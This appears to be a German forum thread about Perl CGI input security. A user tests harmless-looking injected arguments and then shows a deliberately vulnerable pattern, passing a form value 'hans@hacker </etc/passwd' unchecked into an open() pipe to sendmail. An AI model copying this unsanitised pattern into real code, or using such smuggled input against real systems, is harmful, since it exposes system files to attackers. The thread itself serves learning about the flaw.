perl tt.pl foo=exec('dir');
oder
perl tt.pl foo=sleep+10;
hat alles nix gebracht, außer die Ausgaben: exec('dir') und sleep 10.Was hättest du erwartet? - Das das ausgeführt wird? - Ja, dann wäre es in der Tat eine
Sicherheitslücke, aber dem ist nicht so. Solange du nicht im Programm selber mit
Backticks, exec, system, open oder eval arbeitest und die Eingaben nicht überprüfst, dürfte es keine "wirklich grundlegenden" Sicherheitsprobleme geben.
Aha sehr gut zu wissen. D.h. also wenn ich die übergebenen Variablen nicht in einem Systemufruf benutze kann fast nix schief gehen...
Hier aber mal ein Beispiel, welches afaik unfug macht, oder.
Empfangen vom Formular
$mailto = hans@hacker </etc/passwd
Aufruf im Script
open (MAIL, "| /usr/bin/sendmail $mailto");
print MAIL "Blub";
close MAIL
Hat jemand ne Idee, was ich da falsch mache ?
_Wie_ erwartest du es denn richtig?
Naja richtig in meinem Fall wäre eine Sicherheitslücke gewesen, da ich ja diese testen wollte.
So long ...
alligator